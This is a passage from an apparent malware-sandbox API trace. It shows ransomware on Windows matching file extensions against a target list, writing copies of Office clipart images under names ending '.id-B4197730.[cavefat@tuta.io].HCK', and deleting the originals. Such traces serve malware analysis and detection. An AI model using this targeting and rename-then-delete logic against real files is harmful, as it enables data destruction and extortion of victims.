lstrlenW (lpString=".zip") returned 4 [0178.014] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.014] lstrlenW (lpString=".rar") returned 4 [0178.014] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.014] lstrlenW (lpString=".bz2") returned 4 [0178.014] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.014] lstrlenW (lpString=".7z") returned 3 [0178.014] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0178.014] lstrlenW (lpString=".dbf") returned 4 [0178.014] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0178.014] lstrlenW (lpString=".1cd") returned 4 [0178.014] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0178.014] lstrlenW (lpString=".jpg") returned 4 [0178.014] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0178.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0178.014] lstrlenW (lpString=".doc") returned 4 [0178.014] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.014] lstrlenW (lpString=".docx") returned 5 [0178.014] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0178.014] lstrlenW (lpString=".pdf") returned 4 [0178.014] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.014] lstrlenW (lpString=".xls") returned 4 [0178.014] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.014] lstrlenW (lpString=".xlsx") returned 5 [0178.014] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0178.014] lstrlenW (lpString=".ppt") returned 4 [0178.014] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0178.015] lstrlenW (lpString=".zip") returned 4 [0178.015] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.015] lstrlenW (lpString=".rar") returned 4 [0178.015] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.015] lstrlenW (lpString=".bz2") returned 4 [0178.015] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.015] lstrlenW (lpString=".7z") returned 3 [0178.015] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0178.015] lstrlenW (lpString=".dbf") returned 4 [0178.015] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0178.015] lstrlenW (lpString=".1cd") returned 4 [0178.015] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0178.015] lstrlenW (lpString=".jpg") returned 4 [0178.015] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.015] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0178.015] lstrlenW (lpString="J0384900.JPG") returned 12 [0178.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384900.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.018] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=71552) returned 1 [0178.018] CloseHandle (hObject=0x368) returned 1 [0178.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384900.jpg")) returned 0x220 [0178.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384900.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384900.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.026] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.027] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384900.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.032] GetLastError () returned 0x0 [0178.032] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x11780, lpOverlapped=0x0) returned 1 [0178.035] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x11790, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x11790, lpOverlapped=0x0) returned 1 [0178.036] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.036] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.037] SetEndOfFile (hFile=0x39c) returned 1 [0178.037] CloseHandle (hObject=0x39c) returned 1 [0178.041] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.041] SetEndOfFile (hFile=0x300) returned 1 [0178.043] CloseHandle (hObject=0x300) returned 1 [0178.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384900.jpg")) returned 1 [0178.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG") returned 68 [0178.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG") returned 68 [0178.048] lstrlenW (lpString=".doc") returned 4 [0178.048] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.048] lstrlenW (lpString=".docx") returned 5 [0178.048] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0178.048] lstrlenW (lpString=".pdf") returned 4 [0178.048] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.048] lstrlenW (lpString=".xls") returned 4 [0178.048] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.048] lstrlenW (lpString=".xlsx") returned 5 [0178.048] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0178.048] lstrlenW (lpString=".ppt") returned 4 [0178.048] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG") returned 68 [0178.048] lstrlenW (lpString=".zip") returned 4 [0178.048] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.048] lstrlenW (lpString=".rar") returned 4 [0178.048] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.048] lstrlenW (lpString=".bz2") returned 4 [0178.048] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.048] lstrlenW (lpString=".7z") returned 3 [0178.048] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG") returned 68 [0178.048] lstrlenW (lpString=".dbf") returned 4 [0178.048] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG") returned 68 [0178.048] lstrlenW (lpString=".1cd") returned 4 [0178.048] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG") returned 68 [0178.048] lstrlenW (lpString=".jpg") returned 4 [0178.048] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG") returned 68 [0178.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG") returned 68 [0178.048] lstrlenW (lpString=".doc") returned 4 [0178.048] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.048] lstrlenW (lpString=".docx") returned 5 [0178.048] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0178.048] lstrlenW (lpString=".pdf") returned 4 [0178.048] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.048] lstrlenW (lpString=".xls") returned 4 [0178.048] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.048] lstrlenW (lpString=".xlsx") returned 5 [0178.048] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0178.048] lstrlenW (lpString=".ppt") returned 4 [0178.049] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG") returned 68 [0178.049] lstrlenW (lpString=".zip") returned 4 [0178.049] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.049] lstrlenW (lpString=".rar") returned 4 [0178.049] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.049] lstrlenW (lpString=".bz2") returned 4 [0178.049] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.049] lstrlenW (lpString=".7z") returned 3 [0178.049] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG") returned 68 [0178.049] lstrlenW (lpString=".dbf") returned 4 [0178.049] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG") returned 68 [0178.049] lstrlenW (lpString=".1cd") returned 4 [0178.049] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG") returned 68 [0178.049] lstrlenW (lpString=".jpg") returned 4 [0178.049] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.049] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0178.049] lstrlenW (lpString="J0386485.JPG") returned 12 [0178.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386485.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.051] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=14698) returned 1 [0178.051] CloseHandle (hObject=0x370) returned 1 [0178.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386485.jpg")) returned 0x220 [0178.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386485.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386485.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.058] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.058] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386485.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.064] GetLastError () returned 0x0 [0178.064] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x396a, lpOverlapped=0x0) returned 1 [0178.065] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3970, lpOverlapped=0x0) returned 1 [0178.066] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.066] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.066] SetEndOfFile (hFile=0x300) returned 1 [0178.067] CloseHandle (hObject=0x300) returned 1 [0178.068] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.068] SetEndOfFile (hFile=0x368) returned 1 [0178.072] CloseHandle (hObject=0x368) returned 1 [0178.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386485.jpg")) returned 1 [0178.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG") returned 68 [0178.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG") returned 68 [0178.075] lstrlenW (lpString=".doc") returned 4 [0178.075] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.075] lstrlenW (lpString=".docx") returned 5 [0178.075] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0178.075] lstrlenW (lpString=".pdf") returned 4 [0178.075] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.075] lstrlenW (lpString=".xls") returned 4 [0178.075] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.075] lstrlenW (lpString=".xlsx") returned 5 [0178.075] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0178.075] lstrlenW (lpString=".ppt") returned 4 [0178.076] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG") returned 68 [0178.076] lstrlenW (lpString=".zip") returned 4 [0178.076] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.076] lstrlenW (lpString=".rar") returned 4 [0178.076] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.076] lstrlenW (lpString=".bz2") returned 4 [0178.076] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.076] lstrlenW (lpString=".7z") returned 3 [0178.076] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG") returned 68 [0178.076] lstrlenW (lpString=".dbf") returned 4 [0178.076] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG") returned 68 [0178.076] lstrlenW (lpString=".1cd") returned 4 [0178.076] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG") returned 68 [0178.076] lstrlenW (lpString=".jpg") returned 4 [0178.076] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG") returned 68 [0178.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG") returned 68 [0178.076] lstrlenW (lpString=".doc") returned 4 [0178.076] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.076] lstrlenW (lpString=".docx") returned 5 [0178.076] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0178.076] lstrlenW (lpString=".pdf") returned 4 [0178.076] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.076] lstrlenW (lpString=".xls") returned 4 [0178.076] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.076] lstrlenW (lpString=".xlsx") returned 5 [0178.076] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0178.076] lstrlenW (lpString=".ppt") returned 4 [0178.076] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG") returned 68 [0178.076] lstrlenW (lpString=".zip") returned 4 [0178.076] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.076] lstrlenW (lpString=".rar") returned 4 [0178.076] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.076] lstrlenW (lpString=".bz2") returned 4 [0178.076] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.076] lstrlenW (lpString=".7z") returned 3 [0178.076] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG") returned 68 [0178.076] lstrlenW (lpString=".dbf") returned 4 [0178.076] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG") returned 68 [0178.076] lstrlenW (lpString=".1cd") returned 4 [0178.076] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG") returned 68 [0178.077] lstrlenW (lpString=".jpg") returned 4 [0178.077] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.077] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0178.077] lstrlenW (lpString="J0387591.JPG") returned 12 [0178.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387591.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.078] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=39111) returned 1 [0178.078] CloseHandle (hObject=0x39c) returned 1 [0178.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387591.jpg")) returned 0x220 [0178.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387591.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387591.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.085] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.085] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387591.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.089] GetLastError () returned 0x0 [0178.089] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x98c7, lpOverlapped=0x0) returned 1 [0178.091] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x98d0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x98d0, lpOverlapped=0x0) returned 1 [0178.093] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.093] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.093] SetEndOfFile (hFile=0x300) returned 1 [0178.094] CloseHandle (hObject=0x300) returned 1 [0178.096] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.096] SetEndOfFile (hFile=0x370) returned 1 [0178.100] CloseHandle (hObject=0x370) returned 1 [0178.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387591.jpg")) returned 1 [0178.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG") returned 68 [0178.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG") returned 68 [0178.103] lstrlenW (lpString=".doc") returned 4 [0178.103] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.103] lstrlenW (lpString=".docx") returned 5 [0178.103] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0178.103] lstrlenW (lpString=".pdf") returned 4 [0178.103] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.103] lstrlenW (lpString=".xls") returned 4 [0178.103] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.103] lstrlenW (lpString=".xlsx") returned 5 [0178.103] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0178.103] lstrlenW (lpString=".ppt") returned 4 [0178.103] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG") returned 68 [0178.103] lstrlenW (lpString=".zip") returned 4 [0178.103] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.103] lstrlenW (lpString=".rar") returned 4 [0178.103] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.103] lstrlenW (lpString=".bz2") returned 4 [0178.103] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.103] lstrlenW (lpString=".7z") returned 3 [0178.103] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG") returned 68 [0178.103] lstrlenW (lpString=".dbf") returned 4 [0178.103] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") 